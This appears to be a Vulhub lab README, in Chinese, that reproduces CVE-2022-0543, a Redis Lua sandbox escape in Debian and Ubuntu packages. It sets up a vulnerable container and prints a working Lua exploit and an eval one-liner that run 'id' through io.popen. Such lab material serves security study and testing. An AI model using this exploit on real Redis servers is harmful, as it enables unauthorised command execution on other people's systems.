Files
vulhub/redis/CVE-2022-0543/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

1.7 KiB
Raw Blame History

Redis Lua沙盒绕过命令执行CVE-2022-0543

Redis是著名的开源Key-Value数据库其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时不慎在Lua沙箱中遗留了一个对象package攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数进而逃逸沙箱执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:

docker compose up -d

服务启动后,我们可以使用redis-cli -h your-ip连接这个redis服务器。

漏洞复现

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是不同环境下的liblua库路径不同你需要指定一个正确的路径。在我们Vulhub环境Ubuntu fiocal这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

连接redis使用eval命令执行上述脚本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

可见命令已成功执行: